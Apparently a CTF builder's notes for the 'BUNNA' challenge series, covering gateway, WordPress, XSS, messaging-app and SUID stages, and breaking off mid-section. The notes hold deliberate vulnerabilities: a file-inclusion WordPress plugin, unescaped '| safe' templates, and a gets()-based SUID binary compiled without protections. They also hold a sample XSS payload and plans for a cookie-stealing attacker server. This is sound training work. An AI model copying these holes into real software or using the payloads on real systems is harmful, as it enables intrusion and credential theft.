Project: CTF_Building
A comprehensive Capture The Flag (CTF) challenge series named “BUNNA”, designed with realistic network segmentation, progressive narrative, and layered technical puzzles covering steganography, web exploitation, privilege escalation, and more
CTF Project: BUNNA
Quick Navigation
- Bonus Layer: Flow & Experience
- Tools & Setup
- Steganography Challenge
- Entry Gateway: The Vault
- CTF Server Configuration
- XSS Hosting Site
- Messaging App Challenge
- SUID Buffer Overflow Challenge
- VM Export Instructions
- Final Notes & Next Steps
Description
A comprehensive Capture The Flag (CTF) challenge series named “BUNNA”, designed with realistic network segmentation, progressive narrative, and layered technical puzzles covering steganography, web exploitation, privilege escalation, and more.
Short Summary
The BUNNA CTF guides players through a layered series of challenges: starting with hidden data extraction via steganography, unlocking web services progressively, exploiting XSS and authentication flaws, escalating privileges using SUID overflows, and finally packaging the environment as a VM. Each stage emphasizes manual exploration, realistic misdirection, and narrative-driven hints.
Bonus Layer: Flow & Experience
Sequence:
- Player starts at Gateway (port 5000)
- Solves the “All Saints Challenge”
- Unlocks access to Hanna (Apache, MySQL, SSH, FTP)
- Exploits Hanna to open Samuel (port 8080)
- Exploits Samuel to access Mingmi via SSH
- Escalates Mingmi to root
- Captures the final message and root flag
Tools & Setup
- VirtualBox Installation
1 2 3 4 5 6 7 8 9 10 11
sudo apt update && sudo apt full-upgrade -y sudo apt install build-essential dkms linux-headers-$(uname -r) -y wget https://www.virtualbox.org/download/oracle_vbox_2016.asc sudo gpg --dearmor oracle_vbox_2016.asc -o /usr/share/keyrings/vbox-archive-keyring.gpg echo "deb [signed-by=/usr/share/keyrings/vbox-archive-keyring.gpg] https://download.virtualbox.org/virtualbox/debian bookworm contrib" | sudo tee /etc/apt/sources.list.d/vbox.list sudo apt update sudo apt install virtualbox-7.0 -y sudo /sbin/vboxconfig sudo usermod -aG vboxusers $USER sudo modprobe vboxdrv echo "✅ Done! Reboot and launch VirtualBox."
1 2
reboot virtualbox
Steganography Challenge
- Install
steghide
:1
sudo apt update; sudo apt install steghide
- Embed a file:
1
steghide embed -cf picture.jpg -ef secret.txt
- Extract a file:
1
steghide extract -sf picture.jpg
- Inspect hidden content:
1
steghide info picture.jpg
- Brute-force passphrase:
1
stegcracker picture.jpg /usr/share/wordlists/rockyou.txt
Entry Gateway: The Vault
- Port: 5000
- Tech: Python + Flask
- Flow: HTML form → key validation → start services & open ports → unlock next challenge.
1
2
3
4
5
6
7
8
# app.py excerpt
SECRET_KEY = "ctf{first_key}"
@app.route("/submit", methods=["POST"])
def submit_key():
if request.form["server_key"] == SECRET_KEY:
subprocess.run([...start apache2, mysql, vsftpd, ssh...])
return render_template("index.html", message="✅ Ports opened!")
return render_template("index.html", message="❌ Incorrect key.")
CTF Server Configuration
- Sudoers: Allow specific systemctl and ufw commands without password.
- systemd service:
ctf-app.service
auto-starts gateway. - Shutdown Service:
ctf-shutdown.service
locks ports on shutdown.
XSS Hosting Site
Goal: Host an XSS-vulnerable page under a different user, executable by hanna
.
- User:
xsslab
- HTML: A simple form rendering
{{ msg | safe }}
- Flask App: Runs on port 8000 as
xsslab
. - Runner Script:
start_xss_lab.sh
invoked byhanna
via sudoers.
Messaging App Challenge
Tech Stack: Flask (Python), HTML/CSS (Tailwind).
Features:
- Login endpoint (
/login
) - Suggestion box (
/suggest
) with unsanitized input → stored XSS. - Dashboard at
/dashboard
checks cookiesession=user=Samuel
.
1
2
3
4
5
6
7
# app.py excerpt
VALID_USERNAME = 'Samuel'; VALID_PASSWORD = 'samuel123@'
@app.route('/login', methods=['POST'])
def login():
if creds match:
resp.set_cookie('session','user=Samuel'); open('cookie.txt','w').write(...)
return redirect('/dashboard')
SUID Buffer Overflow Challenge
C Program (vuln.c
):
1
2
char buffer[64];
gets(buffer);
- Compile:
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie
- Permissions:
chmod 4755 vuln
- Flag in
/mimi/flag.txt
.
Exploit plan: Overwrite return with give_shell()
address at offset 72.
VM Export Instructions
- Cleanup VM
1
sudo apt clean; rm -rf /tmp/*; history -c
- Export
.ova
: Use Open Virtualization Format 1.0, include NAT MAC only, write manifest, exclude ISOs. - Optional ZIP:
zip bunna_server.zip bunna_server.ova
- Upload to TryHackMe.
Final Notes & Next Steps
- Implement
bot.py
to readcookie.txt
and auto-login. - Add attacker server to collect stolen cookies.
- Package with PyInstaller or Docker.
- Develop final narrative hints and decoys.
Full Project Content
CTF Project: BUNNA - Full Challenge Structure and Design Notes 🎯🧠🔐
Bonus Layer: Overall Flow & Experience 🔄🧵🗺️
Sequence:
- Player starts at Gateway (port 5000)
- Solves the “All Saints Challenge”
- Unlocks access to Hanna (Apache, MySQL, SSH, FTP)
- Exploits Hanna to open access to Samuel (port 8080)
- Exploits Samuel to gain access to Mingmi (via SSH)
- Escalates privileges on Mingmi to root
- Captures the final message and root flag 🎯🏆🔚
CTF Style:
- Realistic network segmentation
- Emphasis on manual exploration rather than script automation
-
Strong narrative progression with misdirection and layered clues 🧠🕵️♀️🕸️
This full design note captures everything planned and discussed ready to be built into an amazing CTF experience. 🚀📘👨💻
For Target Machines 🎯
✅ Base OS (Target Machine):
Use a light Linux distro, like:
Ubuntu Server (easy, clean)
Debian (very stable)
Alpine (if you’re making small containers)
Arch Linux (if you want full control)
✅ Virtual box
1
2
3
4
5
6
7
8
9
10
11
12
sudo apt update && sudo apt full-upgrade -y
sudo apt install build-essential dkms linux-headers-$(uname -r) -y
wget https://www.virtualbox.org/download/oracle_vbox_2016.asc
sudo gpg --dearmor oracle_vbox_2016.asc -o /usr/share/keyrings/vbox-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/vbox-archive-keyring.gpg] https://download.virtualbox.org/virtualbox/debian bookworm contrib" | sudo tee /etc/apt/sources.list.d/virtualbox.list
sudo apt update
sudo apt install virtualbox-7.0 -y
sudo /sbin/vboxconfig
sudo usermod -aG vboxusers $USER
sudo modprobe vboxdrv
echo "✅ Done! Now reboot your system and launch VirtualBox using the 'virtualbox' command or from the app menu."
After running this, reboot your system:
1
2
reboot
Then, open VirtualBox:
1
2
virtualbox
First key 🔐
✅ Step 1: Install steghide
On Kali or Debian/Ubuntu:
1
2
3
sudo apt update
sudo apt install steghide
✅ Step 2: Hide a file inside an image
Syntax:
1
2
steghide embed -cf <cover_file> -ef <file_to_hide>
Example:
1
2
steghide embed -cf picture.jpg -ef secret.txt
It will ask for a passphrase (like a password). Set one or leave it blank.
✅ Now secret.txt
is hidden inside picture.jpg
You can rename picture.jpg and share it — no one will know it has a secret inside.
✅ Step 3: Extract the hidden file
1
2
steghide extract -sf picture.jpg
It will ask for the passphrase if one was used.
✅ It will extract the hidden file back (e.g., secret.txt
)
✅ Step 4: Check if anything is hidden (without extracting)
1
2
steghide info picture.jpg
You’ll see something like:
1
2
3
4
5
"picture.jpg":
format: jpeg
capacity: 3.7 KB
embedded file: yes
🛠️ Real CTF Tip:
If you’re playing a CTF and get a random .jpg
or .wav
, try:
1
2
steghide extract -sf mystery.jpg
Try a blank passphrase or common ones like:
ctf
password
admin
- or use a brute-force tool like
stegcracker
🔓 Bonus: Brute Force Hidden Passwords
1
stegcracker picture.jpg /usr/share/wordlists/rockyou.txt
Entry Gateway: The Vault 🔑🌐🛡️
Purpose: Prevents access to all other challenges until a secret key is submitted. 🧱🚪🔍
Open Port: 5000
Website
🛠 Step-by-Step Plan
✅ Step 1: Basic Setup
- Tool: Python + Flask
- Goal: Create a web server with one route to receive the key input.
- Frontend: HTML input form
- Backend: Flask app that checks the key and responds
✅ Step 2: Key Validation Logic
- Store the correct key (e.g.,
"ctf{first_key}"
) - If the submitted key is correct:
- Respond with a success message
- Trigger other services/ports
✅ Step 3: Triggering More Resources
- This can include:
- Starting new Docker containers
- Opening firewall ports
- Showing new web pages/challenges
✅ Step 4: Progressive Challenge Design
- As users unlock each level, more flags and clues appear.
- Each level could have its own secret key and challenge.
🔧 Let’s Begin with Step 1
🧪 Folder Structure And Files
1
2
3
4
5
6
7
ctf-site/
│
├── app.py <-- Flask app
├── templates/
│ └── index.html <-- Web page with input
└── keys.txt <-- (Optional) list of valid keys
📄 index.html
(in templates/
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<head>
<title>CTF Challenge</title>
</head>
<body>
<h1>Enter the Server Key</h1>
<form action="/submit" method="post">
<input type="text" name="server_key" placeholder="Enter Key" required>
<button type="submit">Submit</button>
</form>
{% if message %}
<p>{{ message }}</p>
{% endif %}
</body>
</html>
modified version of index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CyberSeal CTF Challenge</title>
<style>
:root {
--primary: #0af;
--secondary: #0f2;
--bg-dark: #111;
--bg-darker: #0a0a0a;
--text: #ddd;
--text-highlight: #fff;
--glow: 0 0 10px var(--primary), 0 0 20px var(--primary);
}
body {
background-color: var(--bg-dark);
background-image:
radial-gradient(circle at 20% 30%, rgba(0, 170, 255, 0.1) 0%, transparent 20%),
radial-gradient(circle at 80% 70%, rgba(0, 255, 34, 0.1) 0%, transparent 20%);
color: var(--text);
font-family: 'Courier New', monospace;
margin: 0;
padding: 0;
min-height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
overflow-x: hidden;
}
.container {
background-color: var(--bg-darker);
border: 1px solid var(--primary);
border-radius: 5px;
box-shadow: var(--glow);
padding: 2rem;
width: 80%;
max-width: 600px;
position: relative;
overflow: hidden;
}
.container::before {
content: "";
position: absolute;
top: -2px;
left: -2px;
right: -2px;
bottom: -2px;
background: linear-gradient(45deg, var(--primary), var(--secondary));
z-index: -1;
filter: blur(5px);
opacity: 0.3;
}
h1 {
color: var(--text-highlight);
text-align: center;
margin-bottom: 2rem;
text-shadow: 0 0 5px var(--primary);
position: relative;
font-size: 2rem;
}
h1::after {
content: "";
display: block;
width: 100px;
height: 3px;
background: linear-gradient(90deg, var(--primary), var(--secondary));
margin: 10px auto;
border-radius: 3px;
}
.form-group {
margin-bottom: 1.5rem;
}
input[type="text"] {
width: 100%;
padding: 12px;
background-color: rgba(0, 0, 0, 0.5);
border: 1px solid var(--primary);
border-radius: 3px;
color: var(--text-highlight);
font-family: 'Courier New', monospace;
font-size: 1rem;
box-sizing: border-box;
transition: all 0.3s ease;
}
input[type="text"]:focus {
outline: none;
border-color: var(--secondary);
box-shadow: 0 0 10px var(--secondary);
}
button {
background: linear-gradient(45deg, var(--primary), var(--secondary));
color: black;
border: none;
padding: 12px 24px;
font-family: 'Courier New', monospace;
font-weight: bold;
font-size: 1rem;
border-radius: 3px;
cursor: pointer;
width: 100%;
transition: all 0.3s ease;
text-transform: uppercase;
letter-spacing: 1px;
}
button:hover {
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0, 170, 255, 0.4);
}
button:active {
transform: translateY(0);
}
.message {
margin-top: 1.5rem;
padding: 1rem;
border-radius: 3px;
text-align: center;
animation: fadeIn 0.5s ease;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(10px); }
to { opacity: 1; transform: translateY(0); }
}
.scanlines {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: linear-gradient(
rgba(0, 0, 0, 0) 50%,
rgba(0, 0, 0, 0.25) 50%
);
background-size: 100% 4px;
pointer-events: none;
z-index: 1000;
}
.binary-rain {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
overflow: hidden;
z-index: -1;
opacity: 0.1;
}
.binary-digit {
position: absolute;
color: var(--primary);
font-size: 16px;
animation: fall linear infinite;
}
@keyframes fall {
to {
transform: translateY(100vh);
}
}
</style>
</head>
<body>
<div class="binary-rain" id="binaryRain"></div>
<div class="scanlines"></div>
<div class="container">
<h1>CYBERSEAL SERVER ACCESS</h1>
<div class="form-group">
<form action="/submit" method="post">
<input type="text" name="server_key" placeholder="ENTER SERVER KEY" required>
<br><br>
<button type="submit">AUTHENTICATE</button>
</form>
</div>
{% if message %}
<div class="message" style="background: {% if 'granted' in message.lower() %}rgba(0, 255, 34, 0.2){% else %}rgba(255, 0, 34, 0.2){% endif %};
border: 1px solid {% if 'granted' in message.lower() %}var(--secondary){% else %}red{% endif %};">
{{ message }}
</div>
{% endif %}
</div>
<script>
// Create binary rain effect
const binaryRain = document.getElementById('binaryRain');
const digits = '01';
function createBinaryDigit() {
const digit = document.createElement('div');
digit.className = 'binary-digit';
digit.textContent = digits.charAt(Math.floor(Math.random() * digits.length));
digit.style.left = Math.random() * 100 + 'vw';
digit.style.animationDuration = (Math.random() * 3 + 2) + 's';
digit.style.opacity = Math.random();
binaryRain.appendChild(digit);
// Remove digit after animation completes
setTimeout(() => {
digit.remove();
}, parseFloat(digit.style.animationDuration) * 1000);
}
// Create initial digits
for (let i = 0; i < 50; i++) {
setTimeout(createBinaryDigit, i * 100);
}
// Continue creating digits
setInterval(createBinaryDigit, 100);
// Add typing effect to input when page loads
const input = document.querySelector('input[name="server_key"]');
const placeholderText = "ENTER SERVER KEY";
let i = 0;
function typePlaceholder() {
if (i < placeholderText.length) {
input.placeholder = placeholderText.substring(0, i+1) + (i === placeholderText.length-1 ? '' : '▋');
i++;
setTimeout(typePlaceholder, Math.random() * 100 + 50);
}
}
setTimeout(typePlaceholder, 1000);
</script>
</body>
</html>
🐍 app.py
Flask
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import subprocess
from flask import Flask, render_template, request
app = Flask(__name__)
SECRET_KEY = "ctf{first_key}"
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/submit", methods=["POST"])
def submit_key():
key = request.form.get("server_key")
if key == SECRET_KEY:
try:
subprocess.run(["sudo", "systemctl", "start", "apache2"], check=True)
subprocess.run(["sudo", "systemctl", "start", "mysql"], check=True)
subprocess.run(["sudo", "systemctl", "start", "vsftpd"], check=True)
subprocess.run(["sudo", "systemctl", "start", "ssh"], check=True)
subprocess.run(["sudo", "ufw", "allow", "80"], check=True)
subprocess.run(["sudo", "ufw", "allow", "3306"], check=True)
subprocess.run(["sudo", "ufw", "allow", "21"], check=True)
subprocess.run(["sudo", "ufw", "allow", "22"], check=True)
message = "✅ Ports and services opened successfully!"
except subprocess.CalledProcessError as e:
message = f"❌ Error: {e}"
else:
message = "❌ Incorrect key. Try again."
return render_template("index.html", message=message)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
✅ Step 1: Configure sudoers
(Allow only specific commands)
Run:
1
2
sudo visudo
Add this at the bottom (replace abraham
with your actual username if different):
1
2
ctfadmin ALL=(ALL) NOPASSWD: /bin/systemctl start apache2, /usr/sbin/ufw allow 3306, /usr/sbin/ufw allow 22, /bin/systemctl start vsftpd, /usr/sbin/ufw allow 21, /bin/systemctl stop apache2, /bin/systemctl stop vsftpd, /usr/sbin/ufw deny 3306, /usr/sbin/ufw deny 22, /usr/sbin/ufw deny 21
✅ This allows app.py
to start required services, and a shutdown script to stop them — safely, no full sudo access.
✅ Step 2: Create a systemd
service to auto-start app.py
Create a new systemd service file:
1
2
sudo nano /etc/systemd/system/ctf-app.service
Paste:
1
2
3
4
5
6
7
8
9
10
11
12
13
[Unit]
Description=CTF Key Gateway
After=network.target
[Service]
User=ctfadmin
WorkingDirectory=/home/ctfadmin/ctf
ExecStart=/usr/bin/python3 /home/ctfadmin/ctf/app.py
Restart=always
[Install]
WantedBy=multi-user.target
Save and enable it:
1
2
3
4
5
sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl enable ctf-app.service
sudo systemctl start ctf-app.service
✅ Step 3: Shutdown script to lock all ports again
Create the script:
1
2
sudo nano /usr/local/bin/ctf-shutdown.sh
Paste:
1
2
3
4
5
6
7
#!/bin/bash
sudo systemctl stop apache2
sudo systemctl stop vsftpd
sudo ufw deny 3306
sudo ufw deny 22
sudo ufw deny 21
Make it executable:
1
2
sudo chmod +x /usr/local/bin/ctf-shutdown.sh
Now run it automatically on shutdown:
1
2
sudo nano /etc/systemd/system/ctf-shutdown.service
Paste:
1
2
3
4
5
6
7
8
9
10
11
12
13
[Unit]
Description=CTF Service Shutdown Cleaner
DefaultDependencies=no
Before=shutdown.target reboot.target halt.target
[Service]
Type=oneshot
ExecStart=/usr/local/bin/ctf-shutdown.sh
RemainAfterExit=true
[Install]
WantedBy=halt.target reboot.target shutdown.target
Enable the shutdown service:
1
2
3
sudo systemctl daemon-reload
sudo systemctl enable ctf-shutdown.service
✅ Now Your CTF Server Works Like This:
- 🟢 On Boot: Only
app.py
runs and waits for the correct key - 🔐 Nothing else is open (SSH, FTP, Apache, MySQL = all locked)
- ✅ When key is submitted: services start, ports open
- 🔴 On shutdown: all services stop and ports are closed again
- 🔁 On reboot: everything stays locked again until key is re-submitted
✅ Summary
Technology Stack:
- Frontend: HTML, CSS (simple, clean UI)
- Backend: Python (Flask) or PHP (lightweight)
- Security Logic: Python/Flask preferred for simplicity
Challenge Flow:
- Web form asks for a secret key (“The All Saints Challenge”)
- Player must solve an external riddle/puzzle to find the key
- Player submits the key into the input field
- Backend checks the key:
- If correct: a script runs to open required ports to access Hanna (Apache 80, MySQL 3306)
- If incorrect: message displays “Incorrect key. Try again.”
🔧📝💻
The backend script (written in Python using Flask) verifies the key. If it’s correct, it opens additional service ports or activates background services running on the server. 🚀🔓📡
- Flask (Python)
- HTML (Form)
- ufw/iptables (for port control)
If You Have Time: Use JavaScript to add visual effects to the form. ✨🎨📲
Create Users
1
sudo adduser username
User 1: HANNA 💾🧩🔍
Services:
🚨 Install Docker Engine
✅GPG Key Import:
1
2
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker.gpg
Add Docker repository:
1
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
✅for Kali Linux
For Kali, the better way is to install Docker using Kali’s own package repo:
Step-by-step:
1
2
3
4
sudo apt update
sudo apt install -y docker.io
sudo systemctl start docker
sudo systemctl enable docker
Then install Docker Compose:
1
sudo apt install -y docker-compose
✅ Confirm It’s Working
Run:
1
2
docker --version
docker-compose --version
Then:
1
sudo docker run hello-world
This will test that Docker is installed correctly.
This is the WordPress -docker-compose
Install MySql, and Apache2 and setup
✅ Step-by-step Breakdown:
🧱 1. Update system
1
2
3
4
sudo apt update
sudo apt install apache2
sudo apt install mysql-server
sudo apt install php libapache2-mod-php php-mysql php-gd php-cli php-curl php-xml
This updates your system’s package list (like refreshing the app store).
🌐 2. Install Apache web server
1
2
sudo apt install apache2
Apache is the software that serves your website on the internet (like a waiter bringing your food).
🛢️ 3. Install MySQL database
1
2
sudo apt install mysql-server
MySQL stores all the WordPress data: users, posts, passwords, etc.
🐘 4. Install PHP and required extensions
1
2
sudo apt install php libapache2-mod-php php-mysql php-gd php-cli php-curl php-xml
PHP runs WordPress. These extra modules make PHP work with MySQL, images, XML, etc.
🔐 5. Secure your MySQL server
1
2
sudo mysql_secure_installation
This helps you set a root password, remove test users, and improve MySQL security.
⚙️ 6. Set up WordPress database and user
1
2
sudo mysql
You enter MySQL shell.
Inside MySQL shell, run these:
👉 Creates a WordPress database.
1
2
CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
👉 Creates a new database user.
1
2
CREATE USER 'wordpressuser'@'localhost' IDENTIFIED BY 'password';
👉 Gives full access to wordpressuser
on the wordpress
database.
1
2
GRANT ALL ON wordpress.* TO 'wordpressuser'@'localhost';
👉 Reloads permission changes and exits MySQL.
1
2
3
FLUSH PRIVILEGES;
EXIT;
📁 7. Download and setup WordPress
1
cd /var/www/html
Change to the folder where Apache shows websites.
1
2
sudo wget https://wordpress.org/latest.tar.gz
Download the latest version of WordPress.
1
2
sudo tar -xzvf latest.tar.gz
Unpack the archive.
1
2
sudo cp -a wordpress/. /var/www/html/
Copy WordPress files into the main web folder.
🌐 8. Create Apache config file for WordPress
1
sudo nano /etc/apache2/sites-available/wordpress.conf
Create a config file to tell Apache where your site lives.
Paste this:
1
2
3
4
5
6
7
8
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName your_domain
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Replace your_domain
with your actual domain or server IP.
Starting the docker
create a file named:- docker-compose.yml
docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
version: '3.3'
services:
wordpress:
depends_on:
- db
image: wordpress:latest
volumes:
- wordpress_files:/var/www/html
ports:
- "81:80" # ✅ Host 81 → Container 80
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpresspassword
WORDPRESS_DB_NAME: wordpress
db:
image: mysql:latest
volumes:
- db_data:/var/lib/mysql
ports:
- "3306:3306"
restart: always
environment:
MYSQL_ROOT_PASSWORD: myrootpassword
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpresspassword
volumes:
wordpress_files:
db_data:
Start Running Docker Using The Docker Compose
1
sudo docker-compose up --build
http://localhost:81/w…
create a admin account
1
2
3
4
Sitename Bunna
Username hanna
Password konjobunna
Email hanna@hunna.thm
Creating a plugin
Openning shell to the docker
1
2
sudo docker ps
sudo docker exec -it d562ac6c168c bin/bash
Upgrade the shell
1
script /dev/null -c bash
And navigate to /var/www/html/wp-content/plugins
Building plugin Bunna.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
/**
* Plugin Name: Bunna
* Plugin URI: http://example.com
* Description: bash64hint > bWFpbiBwYWdlOnNlYXJjaCAoKTpzb3VyY2UgQ29kZTpwbHVnaW4gYnVubmE=
* Version: 1.0
* Author: neo
* Author URI: http://example.com
*/
// Shortcode function...
function report_reader_include_file($atts) {
if (!current_user_can('manage_options')) {
return 'You do not have sufficient permissions to access this content.';
}
$atts = shortcode_atts(array(
'path' => '',
), $atts);
$path = sanitize_text_field($atts['path']);
$full_path = ABSPATH . $path;
if (file_exists($full_path)) {
return file_get_contents($full_path);
} else {
return 'The specified file does not exist or cannot be accessed.';
}
}
add_shortcode('include_report', 'report_reader_include_file');
?>
And adding hint to the main page in Bash64
- Apache Web Server on port
80
modifyed
- MySQL Server on port
3306
- SSH enabled for user Hanna 🔐🖥️🗝️
Challenge:
- Apache hosts a WordPress site and a introduction wenbsite
- Username:
Hanna
, Password:sudohanna
- Custom plugin contains an LFI vulnerability
- Players must identify and exploit the vulnerability 🛠️🧠📂
Flags & Scripts:
- Hidden user flag placed deep within the directory structure
- A
shadow.txt
wordlist file is hosted via Apache for password cracking - A hidden script is located in a root-level directory (e.g.,
/opt/script.py
), not directly navigable viacd
commands. However, it is executable by Hanna through direct path execution. - Script Purpose: Opens Samuel’s challenge port (e.g.,
8001
) 🔐🔄📤
Hosting Site For XXS
🎯 Goal:
When the player login to user hanna
and runs a script (e.g. xss_host.sh
), it:
- ✅ Starts a small website that hosts an XSS vulnerable page
- ✅ The web files live in another user’s directory (like
root
orxsslab
) - ✅ The script only runs the server, it cannot edit or write to the web files)
✅ Step-by-Step Plan
📁 1. Put the Website Files There
1
2
3
sudo mkdir -p /home/mimi/jsi-ctf/templates
sudo nano /home/mimi/jsi-ctf/templates/index.html
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE html>
<html>
<head><title>XSS Lab</title></head>
<body>
<h1>XSS Playground</h1>
<form method="GET">
<input name="msg" placeholder="Say something...">
<button type="submit">Submit</button>
</form>
<p>Output: {{ msg | safe }}</p>
</body>
</html>
Paste a simple XSS page:
Modified index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>XSS Lab - Playground</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
/* Reset */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: #f3f4f6;
font-family: Arial, sans-serif;
color: #333;
display: flex;
align-items: center;
justify-content: center;
height: 100vh;
}
.container {
background-color: #fff;
padding: 2rem;
border-radius: 1rem;
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
width: 100%;
max-width: 400px;
}
h1 {
text-align: center;
color: #6b21a8;
margin-bottom: 1.5rem;
font-size: 1.8rem;
}
form {
display: flex;
flex-direction: column;
gap: 1rem;
}
input[type="text"] {
padding: 0.75rem;
border: 1px solid #ccc;
border-radius: 0.5rem;
font-size: 1rem;
}
button {
background-color: #6b21a8;
color: white;
border: none;
padding: 0.75rem;
border-radius: 0.5rem;
font-size: 1rem;
cursor: pointer;
transition: background 0.3s ease;
}
button:hover {
background-color: #5b1a93;
}
.output {
margin-top: 1.5rem;
background-color: #f9fafb;
border: 1px solid #e5e7eb;
border-radius: 0.5rem;
padding: 1rem;
}
.output h2 {
font-size: 0.9rem;
color: #666;
margin-bottom: 0.5rem;
}
.output p {
font-size: 1.1rem;
word-wrap: break-word;
}
</style>
</head>
<body>
<div class="container">
<h1>🧪 XSS Playground</h1>
<form method="GET">
<input type="text" name="msg" placeholder="Say something...">
<button type="submit">Submit</button>
</form>
<div class="output">
<h2>💬 Output:</h2>
<p>{{ msg | safe }}</p>
</div>
</div>
</body>
</html>
🐍 2. Create the Flask App in xsslab
Home
1
2
sudo nano /home/mimi/jsi-ctf/app.py
Paste:
1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/")
def index():
msg = request.args.get("msg", "")
return render_template("index.html", msg=msg)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
🔒 3. Secure the Files
Make the directory owned by xsslab
only:
1
2
3
sudo chown -R mimi:mimi home/mimi/jsi-ctf
sudo chmod -R 755 /home/mimi/jsi-ctf
⚙️ 4. Create the Runner Script in hanna
’s Home
This script will not modify anything, it just runs the server.
1
2
nano /home/hanna/start_xss_lab.sh
Paste:
1
2
3
4
5
#!/bin/bash
sudo -u mimi python3 /home/mimi/jsi-ctf/app.py
#!/bin/bash
sudo -u mimi /usr/bin/python3 /home/mimi/jsi-ctf/app.py
Make it executable:
1
2
chmod +x /home/hanna/start_xss_lab.sh
🔐 5. Secure hanna
’s Permissions
If you want to allow hanna
to run only this one command as xsslab
:
Edit sudoers:
1
2
sudo visudo
Add this line:
1
2
hanna ALL=(mimi) NOPASSWD: /usr/bin/python3 /home/mimi/jsi-ctf/app.py
Update the script in hanna
to:
1
2
3
#!/bin/bash
sudo -u xsslab /usr/bin/python3 /home/xsslab/jsi-ctf-site/app.py
✅ Now, hanna
can start the vulnerable site, but not edit it.
✅ 6. Test It
Log in as hanna
:
1
2
3
su - hanna
./start_xss_lab.sh
Visit:
1
2
<http://localhost:8000>
Try:
1
2
<http://localhost:8000/?msg=><script>alert(1)</script>
Boom 💥 — working XSS.
✅ Summary
🔒 Secure? | ✅ Yes |
---|---|
Hanna can edit files | ❌ No |
Hanna can run server | ✅ Yes (only) |
Files are separate | ✅ In xsslab user |
Realistic challenge | ✅ Like real labs |
Hints:
- Logs in
/var/log/
indicate plugin errors - Clues point to the script’s location in
/opt/
- Fake config backups and
.bak
files present - Decoy flags mislead players
- Background narrative from Hanna is embedded in blog entries and local notes 🧾📘🔍
Tools Needed by Players:
curl
,gobuster
/dirb
, LFI cheat sheets- Basic MySQL enumeration 🛠️🧪💡
User 2: SAMUEL 🕸️📦💣
Service:
- Custom vulnerable web app running on port
8001
Challenge
XXS-Vulnerable Massaging App
✅ Final Project Structure
1. app.py
— The Flask backend
- Routes:
/
(GET): Shows the login page with the suggestion box. Passes the listsuggestions
to the template./login
(POST): Validates username and password. If correct, sets a cookie namedsession
with valueuser=Samuel
, saves the cookie string tocookie.txt
, and redirects to/dashboard
. If invalid, returns 401 error./suggest
(POST): Adds a submitted suggestion (user input) to thesuggestions
list and redirects back to/
./dashboard
(GET): Checks if the incoming request has a cookiesession=user=Samuel
. If yes, rendersdashboard.html
with the username; else, redirects to login page/
.
- Security Notes:
2. templates/index.html
— Login + Suggestion Box page
- Layout:
- Left side: Login form (
/login
